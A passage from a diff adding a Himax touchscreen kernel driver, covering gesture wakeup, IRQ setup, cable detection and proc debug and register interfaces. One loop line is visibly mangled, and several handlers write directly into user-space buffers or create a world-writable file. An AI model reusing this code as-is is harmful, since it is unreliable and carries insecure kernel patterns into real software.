KEY_CUST_02; + break; + case EV_GESTURE_03: + KEY_EVENT = KEY_CUST_03; + break; + case EV_GESTURE_04: + KEY_EVENT = KEY_CUST_04; + break; + case EV_GESTURE_05: + KEY_EVENT = KEY_CUST_05; + break; + case EV_GESTURE_06: + KEY_EVENT = KEY_CUST_06; + break; + case EV_GESTURE_07: + KEY_EVENT = KEY_CUST_07; + break; + case EV_GESTURE_08: + KEY_EVENT = KEY_CUST_08; + break; + case EV_GESTURE_09: + KEY_EVENT = KEY_CUST_09; + break; + case EV_GESTURE_10: + KEY_EVENT = KEY_CUST_10; + break; + case EV_GESTURE_11: + KEY_EVENT = KEY_CUST_11; + break; + case EV_GESTURE_12: + KEY_EVENT = KEY_CUST_12; + break; + case EV_GESTURE_13: + KEY_EVENT = KEY_CUST_13; + break; + case EV_GESTURE_14: + KEY_EVENT = KEY_CUST_14; + break; + case EV_GESTURE_15: + KEY_EVENT = KEY_CUST_15; + break; + } + if (ret_event) + { + I(" %s SMART WAKEUP KEY event %x press\n", __func__,KEY_EVENT); + input_report_key(private_ts->input_dev, KEY_EVENT, 1); + input_sync(private_ts->input_dev); + //msleep(100); + I(" %s SMART WAKEUP KEY event %x release\n", __func__,KEY_EVENT); + input_report_key(private_ts->input_dev, KEY_EVENT, 0); + input_sync(private_ts->input_dev); + FAKE_POWER_KEY_SEND=true; + + //I("gest_start_x= %d, gest_start_y= %d, gest_end_x= %d, gest_end_y= %d\n",gest_start_x,gest_start_y, + //gest_end_x,gest_end_y); + //I("gest_width= %d, gest_height= %d, gest_mid_x= %d, gest_mid_y= %d\n",gest_width,gest_height, + //gest_mid_x,gest_mid_y); + } + return IRQ_HANDLED; + } +#endif + himax_ts_work((struct himax_ts_data *)ptr); + if (ts->debug_log_level & BIT(2)) { + getnstimeofday(&timeEnd); + timeDelta.tv_nsec = (timeEnd.tv_sec*1000000000+timeEnd.tv_nsec) + -(timeStart.tv_sec*1000000000+timeStart.tv_nsec); + /*I("Irq finish time = %ld.%06ld s\n", + timeEnd.tv_sec, timeEnd.tv_nsec/1000);*/ + I("Touch latency = %ld us\n", timeDelta.tv_nsec/1000); + } + return IRQ_HANDLED; +} + +static void himax_ts_work_func(struct work_struct *work) +{ + struct himax_ts_data *ts = container_of(work, struct himax_ts_data, work); + himax_ts_work(ts); +} + +int himax_ts_register_interrupt(struct i2c_client *client) +{ + struct himax_ts_data *ts = i2c_get_clientdata(client); + int ret = 0; + + ts->irq_enabled = 0; + ts->use_irq = 0; + //Work functon + if (client->irq) {/*INT mode*/ + ts->use_irq = 1; + if (HX_INT_IS_EDGE) + { + I("%s edge triiger falling\n ", __func__); + ret = request_threaded_irq(client->irq, NULL, himax_ts_thread,IRQF_TRIGGER_FALLING | IRQF_ONESHOT, client->name, ts); + } + else + { + I("%s level trigger low\n ", __func__); + ret = request_threaded_irq(client->irq, NULL, himax_ts_thread,IRQF_TRIGGER_LOW | IRQF_ONESHOT, client->name, ts); + } + if (ret == 0) { + ts->irq_enabled = 1; + irq_enable_count = 1; + I("%s: irq register at qpio: %d\n", __func__, client->irq); +#ifdef HX_SMART_WAKEUP + irq_set_irq_wake(client->irq, 1); +#endif + } else { + E("%s: request_irq failed\n", __func__); + } + } else { + I("%s: client->irq is empty, use polling mode.\n", __func__); + } + + if (!ts->use_irq) {/*if use polling mode need to disable HX_ESD_WORKAROUND function*/ + ts->himax_wq = create_singlethread_workqueue("himax_touch"); + + INIT_WORK(&ts->work, himax_ts_work_func); + + hrtimer_init(&ts->timer, CLOCK_MONOTONIC, HRTIMER_MODE_REL); + ts->timer.function = himax_ts_timer_func; + hrtimer_start(&ts->timer, ktime_set(1, 0), HRTIMER_MODE_REL); + I("%s: polling mode enabled\n", __func__); + } + return ret; +} +#endif + +#if defined(HX_USB_DETECT) +static void himax_cable_tp_status_handler_func(int connect_status) +{ + struct himax_ts_data *ts; + I("Touch: cable change to %d\n", connect_status); + ts = private_ts; + if (ts->cable_config) { + if (!atomic_read(&ts->suspend_mode)) { + if ((!!connect_status) != ts->usb_connected) { + if (!!connect_status) { + ts->cable_config[1] = 0x01; + ts->usb_connected = 0x01; + } else { + ts->cable_config[1] = 0x00; + ts->usb_connected = 0x00; + } + + i2c_himax_master_write(ts->client, ts->cable_config, + sizeof(ts->cable_config), DEFAULT_RETRY_CNT); + + I("%s: Cable status change: 0x%2.2X\n", __func__, ts->cable_config[1]); + } else + I("%s: Cable status is the same as previous one, ignore.\n", __func__); + } else { + if (connect_status) + ts->usb_connected = 0x01; + else + ts->usb_connected = 0x00; + I("%s: Cable status remembered: 0x%2.2X\n", __func__, ts->usb_connected); + } + } +} + +static struct t_cable_status_notifier himax_cable_status_handler = { + .name = "usb_tp_connected", + .func = himax_cable_tp_status_handler_func, +}; +#endif + +#if defined(HX_USB_DETECT2) +static void himax_cable_detect_func(void) +{ + struct himax_ts_data *ts; + u32 connect_status = 0; + + connect_status = upmu_is_chr_det(); + //I("Touch: cable status%d\n", connect_status); + ts = private_ts; + if (ts->cable_config) { + if ((!!connect_status) != ts->usb_connected) { + if (!!connect_status) { + ts->cable_config[1] = 0x01; + ts->usb_connected = 0x01; + } else { + ts->cable_config[1] = 0x00; + ts->usb_connected = 0x00; + } + + i2c_himax_master_write(ts->client, ts->cable_config, + sizeof(ts->cable_config), DEFAULT_RETRY_CNT); + + I("%s: Cable status change: 0x%2.2X\n", __func__, ts->cable_config[1]); + } + //else + // I("%s: Cable status is the same as previous one, ignore.\n", __func__); + } +} +#endif + +#ifdef CONFIG_FB +static void himax_fb_register(struct work_struct *work) +{ + int ret = 0; + struct himax_ts_data *ts = container_of(work, struct himax_ts_data, + work_att.work); + I(" %s in", __func__); + + ts->fb_notif.notifier_call = fb_notifier_callback; + ret = fb_register_client(&ts->fb_notif); + if (ret) + E(" Unable to register fb_notifier: %d\n", ret); +} +#endif + +#if defined(CONFIG_TOUCHSCREEN_PROXIMITY) +int proximity_enable_from_ps(int on) +{ + char buf_tmp[5]; + if (on) + { + touch_report_psensor_input_event(1);//Workaround for screen off on phone APP + buf_tmp[0] = 0x92; + buf_tmp[1] = 0x01; + g_proximity_en=1; + enable_irq_wake(private_ts->client->irq); + } + else + { + buf_tmp[0] = 0x92; + buf_tmp[1] = 0x00; + g_proximity_en=0; + disable_irq_wake(private_ts->client->irq); + } + + I("Proximity=%d\n",on); + i2c_himax_master_write(private_ts->client, buf_tmp, 2, DEFAULT_RETRY_CNT); + + return 0; +} +EXPORT_SYMBOL_GPL(proximity_enable_from_ps); +#endif + +//============================================================================================================= +// +// Segment : Himax SYS Debug Function +// +//============================================================================================================= +#if defined(CONFIG_TOUCHSCREEN_HIMAX_DEBUG) + +static ssize_t himax_debug_level_read(struct file *file, char *buf, + size_t len, loff_t *pos) +{ + struct himax_ts_data *ts_data; + ssize_t ret = 0; + + ts_data = private_ts; + if (!HX_PROC_SEND_FLAG) + { + ret += sprintf(buf, "%d\n", ts_data->debug_log_level); + HX_PROC_SEND_FLAG=1; + } + else + HX_PROC_SEND_FLAG=0; + + return ret; +} + +static ssize_t himax_debug_level_write(struct file *file, const char *buff, + size_t len, loff_t *pos) +{ + struct himax_ts_data *ts; + char buf_tmp[12]= {0}; + int i; + + if (len >= 12) + { + I("%s: no command exceeds 12 chars.\n", __func__); + return -EFAULT; + } + if (copy_from_user(buf_tmp, buff, len)) + { + return -EFAULT; + } + ts = private_ts; + + ts->debug_log_level = 0; + for (i = 0; i='0' && buf_tmp[i]<='9' ) + ts->debug_log_level |= (buf_tmp[i]-'0'); + else if (buf_tmp[i]>='A' && buf_tmp[i]<='F' ) + ts->debug_log_level |= (buf_tmp[i]-'A'+10); + else if (buf_tmp[i]>='a' && buf_tmp[i]<='f' ) + ts->debug_log_level |= (buf_tmp[i]-'a'+10); + + if (i!=len-2) + ts->debug_log_level <<= 4; + } + + if (ts->debug_log_level & BIT(3)) { + if (ts->pdata->screenWidth > 0 && ts->pdata->screenHeight > 0 && + (ts->pdata->abs_x_max - ts->pdata->abs_x_min) > 0 && + (ts->pdata->abs_y_max - ts->pdata->abs_y_min) > 0) { + ts->widthFactor = (ts->pdata->screenWidth << SHIFTBITS)/(ts->pdata->abs_x_max - ts->pdata->abs_x_min); + ts->heightFactor = (ts->pdata->screenHeight << SHIFTBITS)/(ts->pdata->abs_y_max - ts->pdata->abs_y_min); + if (ts->widthFactor > 0 && ts->heightFactor > 0) + ts->useScreenRes = 1; + else { + ts->heightFactor = 0; + ts->widthFactor = 0; + ts->useScreenRes = 0; + } + } else + I("Enable finger debug with raw position mode!\n"); + } else { + ts->useScreenRes = 0; + ts->widthFactor = 0; + ts->heightFactor = 0; + } + + return len; +} + +static struct file_operations himax_proc_debug_level_ops = +{ + .owner = THIS_MODULE, + .read = himax_debug_level_read, + .write = himax_debug_level_write, +}; + +static ssize_t himax_vendor_read(struct file *file, char *buf, + size_t len, loff_t *pos) +{ + ssize_t ret = 0; + struct himax_ts_data *ts_data; + ts_data = private_ts; + if (!HX_PROC_SEND_FLAG) + { + ret += sprintf(buf, "%s_FW:%#x,%x_CFG:%#x_SensorId:%#x\n", HIMAX852xes_NAME, + ts_data->vendor_fw_ver_H, ts_data->vendor_fw_ver_L, ts_data->vendor_config_ver, ts_data->vendor_sensor_id); + HX_PROC_SEND_FLAG=1; + } + else + HX_PROC_SEND_FLAG=0; + + return ret; +} + +static struct file_operations himax_proc_vendor_ops = +{ + .owner = THIS_MODULE, + .read = himax_vendor_read, +}; + +static ssize_t himax_attn_read(struct file *file, char *buf, + size_t len, loff_t *pos) +{ + ssize_t ret = 0; + struct himax_ts_data *ts_data; + ts_data = private_ts; + + if (!HX_PROC_SEND_FLAG) + { + sprintf(buf, "attn = %x\n", himax_int_gpio_read(ts_data->pdata->gpio_irq)); + ret = strlen(buf) + 1; + HX_PROC_SEND_FLAG=1; + } + else + HX_PROC_SEND_FLAG=0; + + return ret; +} + +static struct file_operations himax_proc_attn_ops = +{ + .owner = THIS_MODULE, + .read = himax_attn_read, +}; + +static ssize_t himax_int_en_read(struct file *file, char *buf, + size_t len, loff_t *pos) +{ + struct himax_ts_data *ts = private_ts; + size_t ret = 0; + + if (!HX_PROC_SEND_FLAG) + { + ret += sprintf(buf + ret, "%d ", ts->irq_enabled); + ret += sprintf(buf + ret, "\n"); + HX_PROC_SEND_FLAG=1; + } + else + HX_PROC_SEND_FLAG=0; + + return ret; +} + +static ssize_t himax_int_en_write(struct file *file, const char *buff, + size_t len, loff_t *pos) +{ + struct himax_ts_data *ts = private_ts; + char buf_tmp[12]= {0}; + int value, ret=0; + + if (len >= 12) + { + I("%s: no command exceeds 12 chars.\n", __func__); + return -EFAULT; + } + if (copy_from_user(buf_tmp, buff, len)) + { + return -EFAULT; + } + + if (buf_tmp[0] == '0') + value = false; + else if (buf_tmp[0] == '1') + value = true; + else + return -EINVAL; + if (value) { + if (HX_INT_IS_EDGE) + { +#ifdef QCT + ret = request_threaded_irq(ts->client->irq, NULL, himax_ts_thread, + IRQF_TRIGGER_FALLING | IRQF_ONESHOT, ts->client->name, ts); +#endif + } + else + { +#ifdef QCT + ret = request_threaded_irq(ts->client->irq, NULL, himax_ts_thread, + IRQF_TRIGGER_LOW | IRQF_ONESHOT, ts->client->name, ts); +#endif + } + if (ret == 0) { + ts->irq_enabled = 1; + irq_enable_count = 1; + } + } else { + himax_int_enable(ts->client->irq, 0, true); + free_irq(ts->client->irq, ts); + ts->irq_enabled = 0; + } + + return len; +} + +static struct file_operations himax_proc_int_en_ops = +{ + .owner = THIS_MODULE, + .read = himax_int_en_read, + .write = himax_int_en_write, +}; + +static ssize_t himax_layout_read(struct file *file, char *buf, + size_t len, loff_t *pos) +{ + struct himax_ts_data *ts = private_ts; + size_t ret = 0; + + if (!HX_PROC_SEND_FLAG) + { + ret += sprintf(buf + ret, "%d ", ts->pdata->abs_x_min); + ret += sprintf(buf + ret, "%d ", ts->pdata->abs_x_max); + ret += sprintf(buf + ret, "%d ", ts->pdata->abs_y_min); + ret += sprintf(buf + ret, "%d ", ts->pdata->abs_y_max); + ret += sprintf(buf + ret, "\n"); + HX_PROC_SEND_FLAG=1; + } + else + HX_PROC_SEND_FLAG=0; + + return ret; +} + +static ssize_t himax_layout_write(struct file *file, const char *buff, + size_t len, loff_t *pos) +{ + struct himax_ts_data *ts = private_ts; + char buf_tmp[5]; + int i = 0, j = 0, k = 0, ret; + unsigned long value; + int layout[4] = {0}; + char buf[80] = {0}; + + if (len >= 80) + { + I("%s: no command exceeds 80 chars.\n", __func__); + return -EFAULT; + } + if (copy_from_user(buf, buff, len)) + { + return -EFAULT; + } + + for (i = 0; i < 20; i++) { + if (buf[i] == ',' || buf[i] == '\n') { + memset(buf_tmp, 0x0, sizeof(buf_tmp)); + if (i - j <= 5) + memcpy(buf_tmp, buf + j, i - j); + else { + I("buffer size is over 5 char\n"); + return len; + } + j = i + 1; + if (k < 4) { + ret = strict_strtol(buf_tmp, 10, &value); + layout[k++] = value; + } + } + } + if (k == 4) { + ts->pdata->abs_x_min=layout[0]; + ts->pdata->abs_x_max=layout[1]; + ts->pdata->abs_y_min=layout[2]; + ts->pdata->abs_y_max=layout[3]; + I("%d, %d, %d, %d\n", + ts->pdata->abs_x_min, ts->pdata->abs_x_max, ts->pdata->abs_y_min, ts->pdata->abs_y_max); + input_unregister_device(ts->input_dev); + himax_input_register(ts); + } else + I("ERR@%d, %d, %d, %d\n", + ts->pdata->abs_x_min, ts->pdata->abs_x_max, ts->pdata->abs_y_min, ts->pdata->abs_y_max); + return len; +} + +static struct file_operations himax_proc_layout_ops = +{ + .owner = THIS_MODULE, + .read = himax_layout_read, + .write = himax_layout_write, +}; + +#ifdef HX_TP_PROC_RESET +static ssize_t himax_reset_write(struct file *file, const char *buff, + size_t len, loff_t *pos) +{ + char buf_tmp[12]; + + if (len >= 12) + { + I("%s: no command exceeds 12 chars.\n", __func__); + return -EFAULT; + } + if (copy_from_user(buf_tmp, buff, len)) + { + return -EFAULT; + } + + if (buf_tmp[0] == '1') + himax_HW_reset(true,false); + //else if (buf_tmp[0] == '2') + // himax_HW_reset(true, true); + //else if (buf_tmp[0] == '3') + // himax_HW_reset(false, true); + //else if (buf_tmp[0] == '4') + // ESD_HW_REST(); + return len; +} + +static struct file_operations himax_proc_reset_ops = +{ + .owner = THIS_MODULE, + .write = himax_reset_write, +}; +#endif + +#ifdef HX_TP_PROC_DIAG +static uint8_t *getMutualBuffer(void) +{ + return diag_mutual; +} +static uint8_t *getSelfBuffer(void) +{ + return &diag_self[0]; +} +static uint8_t getXChannel(void) +{ + return x_channel; +} +static uint8_t getYChannel(void) +{ + return y_channel; +} +static uint8_t getDiagCommand(void) +{ + return diag_command; +} +static void setXChannel(uint8_t x) +{ + x_channel = x; +} +static void setYChannel(uint8_t y) +{ + y_channel = y; +} +static void setMutualBuffer(void) +{ + diag_mutual = kzalloc(x_channel * y_channel * sizeof(uint8_t), GFP_KERNEL); +} + +#ifdef HX_TP_PROC_2T2R +static uint8_t *getMutualBuffer_2(void) +{ + return diag_mutual_2; +} +static uint8_t getXChannel_2(void) +{ + return x_channel_2; +} +static uint8_t getYChannel_2(void) +{ + return y_channel_2; +} +static void setXChannel_2(uint8_t x) +{ + x_channel_2 = x; +} +static void setYChannel_2(uint8_t y) +{ + y_channel_2 = y; +} +static void setMutualBuffer_2(void) +{ + diag_mutual_2 = kzalloc(x_channel_2 * y_channel_2 * sizeof(uint8_t), GFP_KERNEL); +} +#endif +static void *himax_diag_seq_start(struct seq_file *s, loff_t *pos) +{ + if (*pos>=1) return NULL; + return (void *)((unsigned long) *pos+1); +} + +static void *himax_diag_seq_next(struct seq_file *s, void *v, loff_t *pos) +{ + return NULL; +} +static void himax_diag_seq_stop(struct seq_file *s, void *v) +{ +} +static int himax_diag_seq_read(struct seq_file *s, void *v) +{ + size_t count = 0; + uint32_t loop_i; + uint16_t mutual_num, self_num, width; +#ifdef HX_TP_PROC_2T2R + if (Is_2T2R && diag_command == 4) + { + mutual_num = x_channel_2 * y_channel_2; + self_num = x_channel_2 + y_channel_2; //don't add KEY_COUNT + width = x_channel_2; + seq_printf(s, "ChannelStart: %4d, %4d\n\n", x_channel_2, y_channel_2); + } + else +#endif + { + mutual_num = x_channel * y_channel; + self_num = x_channel + y_channel; //don't add KEY_COUNT + width = x_channel; + seq_printf(s, "ChannelStart: %4d, %4d\n\n", x_channel, y_channel); + } + + // start to show out the raw data in adb shell + if (diag_command >= 1 && diag_command <= 6) { + if (diag_command <= 3) { + for (loop_i = 0; loop_i < mutual_num; loop_i++) { + seq_printf(s, "%4d", diag_mutual[loop_i]); + if ((loop_i % width) == (width - 1)) + seq_printf(s, " %3d\n", diag_self[width + loop_i/width]); + } + seq_printf(s, "\n"); + for (loop_i = 0; loop_i < width; loop_i++) { + seq_printf(s, "%4d", diag_self[loop_i]); + if (((loop_i) % width) == (width - 1)) + seq_printf(s, "\n"); + } +#ifdef HX_EN_SEL_BUTTON + seq_printf(s, "\n"); + for (loop_i = 0; loop_i < HX_BT_NUM; loop_i++) + seq_printf(s, "%4d", diag_self[HX_RX_NUM + HX_TX_NUM + loop_i]); +#endif +#ifdef HX_TP_PROC_2T2R + }else if (Is_2T2R && diag_command == 4 ) { + for (loop_i = 0; loop_i < mutual_num; loop_i++) { + seq_printf(s, "%4d", diag_mutual_2[loop_i]); + if ((loop_i % width) == (width - 1)) + seq_printf(s, " %3d\n", diag_self[width + loop_i/width]); + } + seq_printf(s, "\n"); + for (loop_i = 0; loop_i < width; loop_i++) { + seq_printf(s, "%4d", diag_self[loop_i]); + if (((loop_i) % width) == (width - 1)) + seq_printf(s, "\n"); + } + +#ifdef HX_EN_SEL_BUTTON + seq_printf(s, "\n"); + for (loop_i = 0; loop_i < HX_BT_NUM; loop_i++) + seq_printf(s, "%4d", diag_self[HX_RX_NUM_2 + HX_TX_NUM_2 + loop_i]); +#endif +#endif + } else if (diag_command > 4) { + for (loop_i = 0; loop_i < self_num; loop_i++) { + seq_printf(s, "%4d", diag_self[loop_i]); + if (((loop_i - mutual_num) % width) == (width - 1)) + seq_printf(s, "\n"); + } + } else { + for (loop_i = 0; loop_i < mutual_num; loop_i++) { + seq_printf(s, "%4d", diag_mutual[loop_i]); + if ((loop_i % width) == (width - 1)) + seq_printf(s, "\n"); + } + } + seq_printf(s, "ChannelEnd"); + seq_printf(s, "\n"); + } else if (diag_command == 7) { + for (loop_i = 0; loop_i < 128 ;loop_i++) { + if ((loop_i % 16) == 0) + seq_printf(s, "LineStart:"); + seq_printf(s, "%4d", diag_coor[loop_i]); + if ((loop_i % 16) == 15) + seq_printf(s, "\n"); + } + } + return count; +} + +static struct seq_operations himax_diag_seq_ops = +{ + .start = himax_diag_seq_start, + .next = himax_diag_seq_next, + .stop = himax_diag_seq_stop, + .show = himax_diag_seq_read, +}; +static int himax_diag_proc_open(struct inode *inode, struct file *file) +{ + return seq_open(file, &himax_diag_seq_ops); +}; +static ssize_t himax_diag_write(struct file *filp, const char __user *buff, size_t len, loff_t *data) +{ + const uint8_t command_ec_128_raw_flag = 0x02; + const uint8_t command_ec_24_normal_flag = 0x00; + uint8_t command_ec_128_raw_baseline_flag = 0x01; + uint8_t command_ec_128_raw_bank_flag = 0x03; + uint8_t command_F1h[2] = {0xF1, 0x00}; + char messages[80] = {0}; + + if (len >= 80) + { + I("%s: no command exceeds 80 chars.\n", __func__); + return -EFAULT; + } + if (copy_from_user(messages, buff, len)) + { + return -EFAULT; + } + + diag_command = messages[0] - '0'; + + I("[Himax]diag_command=0x%x\n",diag_command); + if (diag_command == 0x01) {//DC + command_F1h[1] = command_ec_128_raw_baseline_flag; + i2c_himax_write(private_ts->client, command_F1h[0] , &command_F1h[1], 1, DEFAULT_RETRY_CNT); + } else if (diag_command == 0x02) {//IIR + command_F1h[1] = command_ec_128_raw_flag; + i2c_himax_write(private_ts->client, command_F1h[0] , &command_F1h[1], 1, DEFAULT_RETRY_CNT); + } else if (diag_command == 0x03) { //BANK + command_F1h[1] = command_ec_128_raw_bank_flag; //0x03 + i2c_himax_write(private_ts->client, command_F1h[0] , &command_F1h[1], 1, DEFAULT_RETRY_CNT); + } else if (diag_command == 0x04 ) { // 2T3R IIR + command_F1h[1] = 0x04; //2T3R IIR + i2c_himax_write(private_ts->client, command_F1h[0] , &command_F1h[1], 1, DEFAULT_RETRY_CNT); + } else if (diag_command == 0x00) {//Disable + command_F1h[1] = command_ec_24_normal_flag; + i2c_himax_write(private_ts->client, command_F1h[0] , &command_F1h[1], 1, DEFAULT_RETRY_CNT); + touch_monitor_stop_flag = touch_monitor_stop_limit; + } + + //coordinate dump start + else if (diag_command == 0x08) { + coordinate_fn = filp_open(DIAG_COORDINATE_FILE,O_CREAT | O_WRONLY | O_APPEND | O_TRUNC, 0666); + if (IS_ERR(coordinate_fn)) + { + E("%s: coordinate_dump_file_create error\n", __func__); + coordinate_dump_enable = 0; + filp_close(coordinate_fn,NULL); + } + coordinate_dump_enable = 1; + } + else if (diag_command == 0x09) { + coordinate_dump_enable = 0; + + if (!IS_ERR(coordinate_fn)) + { + filp_close(coordinate_fn,NULL); + } + } + //coordinate dump end + else{ + E("[Himax]Diag command error!diag_command=0x%x\n",diag_command); + } + return len; +} + +static struct file_operations himax_proc_diag_ops = +{ + .owner = THIS_MODULE, + .open = himax_diag_proc_open, + .read = seq_read, + .write = himax_diag_write, +}; +#endif + +#ifdef HX_TP_PROC_REGISTER +static ssize_t himax_register_read(struct file *file, char *buf, + size_t len, loff_t *pos) +{ + int ret = 0; + int base = 0; + uint16_t loop_i,loop_j; + uint8_t inData[128]; + uint8_t outData[5]; + + memset(outData, 0x00, sizeof(outData)); + memset(inData, 0x00, sizeof(inData)); + + I("Himax multi_register_command = %d \n",multi_register_command); + if (!HX_PROC_SEND_FLAG) + { + if (multi_register_command == 1) { + base = 0; + + for (loop_i = 0; loop_i < 6; loop_i++) { + if (multi_register[loop_i] != 0x00) { + if (multi_cfg_bank[loop_i] == 1) {//config bank register + outData[0] = 0x14; + i2c_himax_write(private_ts->client, 0x8C , &outData[0], 1, DEFAULT_RETRY_CNT); + msleep(20); + + outData[0] = 0x00; + outData[1] = multi_register[loop_i]; + i2c_himax_write(private_ts->client, 0x8B , &outData[0], 2, DEFAULT_RETRY_CNT); + msleep(20); + + i2c_himax_read(private_ts->client, 0x5A, inData, 128, DEFAULT_RETRY_CNT); + + outData[0] = 0x00; + i2c_himax_write(private_ts->client, 0x8C , &outData[0], 1, DEFAULT_RETRY_CNT); + + for (loop_j=0; loop_j<128; loop_j++) + multi_value[base++] = inData[loop_j]; + } else {//normal register + i2c_himax_read(private_ts->client, multi_register[loop_i], inData, 128, DEFAULT_RETRY_CNT); + + for (loop_j=0; loop_j<128; loop_j++) + multi_value[base++] = inData[loop_j]; + } + } + } + + base = 0; + for (loop_i = 0; loop_i < 6; loop_i++) { + if (multi_register[loop_i] != 0x00) { + if (multi_cfg_bank[loop_i] == 1) + ret += sprintf(buf + ret, "Register: FE(%x)\n", multi_register[loop_i]); + else + ret += sprintf(buf + ret, "Register: %x\n", multi_register[loop_i]); + + for (loop_j = 0; loop_j < 128; loop_j++) { + ret += sprintf(buf + ret, "0x%2.2X ", multi_value[base++]); + if ((loop_j % 16) == 15) + ret += sprintf(buf + ret, "\n"); + } + } + } + return ret; + } + + if (config_bank_reg) { + I("%s: register_command = FE(%x)\n", __func__, register_command); + + //Config bank register read flow. + + outData[0] = 0x14; + i2c_himax_write(private_ts->client, 0x8C, &outData[0], 1, DEFAULT_RETRY_CNT); + + msleep(20); + + outData[0] = 0x00; + outData[1] = register_command; + i2c_himax_write(private_ts->client, 0x8B, &outData[0], 2, DEFAULT_RETRY_CNT); + msleep(20); + + i2c_himax_read(private_ts->client, 0x5A, inData, 128, DEFAULT_RETRY_CNT); + msleep(20); + + outData[0] = 0x00; + i2c_himax_write(private_ts->client, 0x8C, &outData[0], 1, DEFAULT_RETRY_CNT); + } else { + if (i2c_himax_read(private_ts->client, register_command, inData, 128, DEFAULT_RETRY_CNT) < 0) + return ret; + } + + if (config_bank_reg) + ret += sprintf(buf, "command: FE(%x)\n", register_command); + else + ret += sprintf(buf, "command: %x\n", register_command); + + for (loop_i = 0; loop_i < 128; loop_i++) { + ret += sprintf(buf + ret, "0x%2.2X ", inData[loop_i]); + if ((loop_i % 16) == 15) + ret += sprintf(buf + ret, "\n"); + } + ret += sprintf(buf + ret, "\n"); + HX_PROC_SEND_FLAG=1; + } + else + HX_PROC_SEND_FLAG=0; + + return ret; +} + +static ssize_t himax_register_write(struct file *file, const char *buff, + size_t len, loff_t *pos) +{ + char buf_tmp[6], length = 0; + unsigned long result = 0; + uint8_t loop_i = 0; + uint16_t base = 5; + uint8_t write_da[128]; + uint8_t outData[5]; + char buf[80] = {0}; + + if (len >= 80) + { + I("%s: no command exceeds 80 chars.\n", __func__); + return -EFAULT; + } + if (copy_from_user(buf, buff, len)) + { + return -EFAULT; + } + + memset(buf_tmp, 0x0, sizeof(buf_tmp)); + memset(write_da, 0x0, sizeof(write_da)); + memset(outData, 0x0, sizeof(outData)); + + I("himax %s \n",buf); + + if (buf[0] == 'm' && buf[1] == 'r' && buf[2] == ':') { + memset(multi_register, 0x00, sizeof(multi_register)); + memset(multi_cfg_bank, 0x00, sizeof(multi_cfg_bank)); + memset(multi_value, 0x00, sizeof(multi_value)); + + I("himax multi register enter\n"); + + multi_register_command = 1; + + base = 2; + loop_i = 0; + + while(true) { + if (buf[base] == '\n') + break; + + if (loop_i >= 6 ) + break; + + if (buf[base] == ':' && buf[base+1] == 'x' && buf[base+2] == 'F' && + buf[base+3] == 'E' && buf[base+4] != ':') { + memcpy(buf_tmp, buf + base + 4, 2); + if (!strict_strtoul(buf_tmp, 16, &result)) { + multi_register[loop_i] = result; + multi_cfg_bank[loop_i++] = 1; + } + base += 6; + } else { + memcpy(buf_tmp, buf + base + 2, 2); + if (!strict_strtoul(buf_tmp, 16, &result)) { + multi_register[loop_i] = result; + multi_cfg_bank[loop_i++] = 0; + } + base += 4; + } + } + + I("========================== \n"); + for (loop_i = 0; loop_i < 6; loop_i++) + I("%d,%d:",multi_register[loop_i],multi_cfg_bank[loop_i]); + I("\n"); + } else if ((buf[0] == 'r' || buf[0] == 'w') && buf[1] == ':') { + multi_register_command = 0; + + if (buf[2] == 'x') { + if (buf[3] == 'F' && buf[4] == 'E') {//Config bank register + config_bank_reg = true; + + memcpy(buf_tmp, buf + 5, 2); + if (!strict_strtoul(buf_tmp, 16, &result)) + register_command = result; + base = 7; + + I("CMD: FE(%x)\n", register_command); + } else { + config_bank_reg = false; + + memcpy(buf_tmp, buf + 3, 2); + if (!strict_strtoul(buf_tmp, 16, &result)) + register_command = result; + base = 5; + I("CMD: %x\n", register_command); + } + + for (loop_i = 0; loop_i < 128; loop_i++) { + if (buf[base] == '\n') { + if (buf[0] == 'w') { + if (config_bank_reg) { + outData[0] = 0x14; + i2c_himax_write(private_ts->client, 0x8C, &outData[0], 1, DEFAULT_RETRY_CNT); + msleep(20); + + outData[0] = 0x00; + outData[1] = register_command; + i2c_himax_write(private_ts->client, 0x8B, &outData[0], 2, DEFAULT_RETRY_CNT); + + msleep(20); + i2c_himax_write(private_ts->client, 0x40, &write_da[0], length, DEFAULT_RETRY_CNT); + + msleep(20); + outData[0] = 0x00; + i2c_himax_write(private_ts->client, 0x8C, &outData[0], 1, DEFAULT_RETRY_CNT); + + I("CMD: FE(%x), %x, %d\n", register_command,write_da[0], length); + } else { + i2c_himax_write(private_ts->client, register_command, &write_da[0], length, DEFAULT_RETRY_CNT); + I("CMD: %x, %x, %d\n", register_command,write_da[0], length); + } + } + I("\n"); + return len; + } + if (buf[base + 1] == 'x') { + buf_tmp[4] = '\n'; + buf_tmp[5] = '\0'; + memcpy(buf_tmp, buf + base + 2, 2); + if (!strict_strtoul(buf_tmp, 16, &result)) { + write_da[loop_i] = result; + } + length++; + } + base += 4; + } + } + } + return len; +} + +static struct file_operations himax_proc_register_ops = +{ + .owner = THIS_MODULE, + .read = himax_register_read, + .write = himax_register_write, +}; +#endif + +#ifdef HX_TP_PROC_DEBUG +static ssize_t himax_debug_read(struct file *file, char *buf, + size_t len, loff_t *pos) +{ + size_t ret = 0; + + if (!HX_PROC_SEND_FLAG) + { + if (debug_level_cmd == 't') + { + if (fw_update_complete) + { + ret += sprintf(buf, "FW Update Complete "); + } + else + { + ret += sprintf(buf, "FW Update Fail "); + } + } + else if (debug_level_cmd == 'h') + { + if (handshaking_result == 0) + { + ret += sprintf(buf, "Handshaking Result = %d (MCU Running)\n",handshaking_result); + } + else if (handshaking_result == 1) + { + ret += sprintf(buf, "Handshaking Result = %d (MCU Stop)\n",handshaking_result); + } + else if (handshaking_result == 2) + { + ret += sprintf(buf, "Handshaking Result = %d (I2C Error)\n",handshaking_result); + } + else + { + ret += sprintf(buf, "Handshaking Result = error \n"); + } + } + else if (debug_level_cmd == 'v') + { + ret += sprintf(buf + ret, "FW_VER = "); + ret += sprintf(buf + ret, "0x%2.2X, %2.2X \n",private_ts->vendor_fw_ver_H,private_ts->vendor_fw_ver_L); + + ret += sprintf(buf + ret, "CONFIG_VER = "); + ret += sprintf(buf + ret, "0x%2.2X \n",private_ts->vendor_config_ver); + ret += sprintf(buf + ret, "\n"); + } + else if (debug_level_cmd == 'd') + { + ret += sprintf(buf + ret, "Himax Touch IC Information :\n"); + if (IC_TYPE == HX_85XX_D_SERIES_PWON) + { + ret += sprintf(buf + ret, "IC Type : D\n"); + } + else if (IC_TYPE == HX_85XX_E_SERIES_PWON) + { + ret += sprintf(buf + ret, "IC Type : E\n"); + } + else if (IC_TYPE == HX_85XX_ES_SERIES_PWON) + { + ret += sprintf(buf 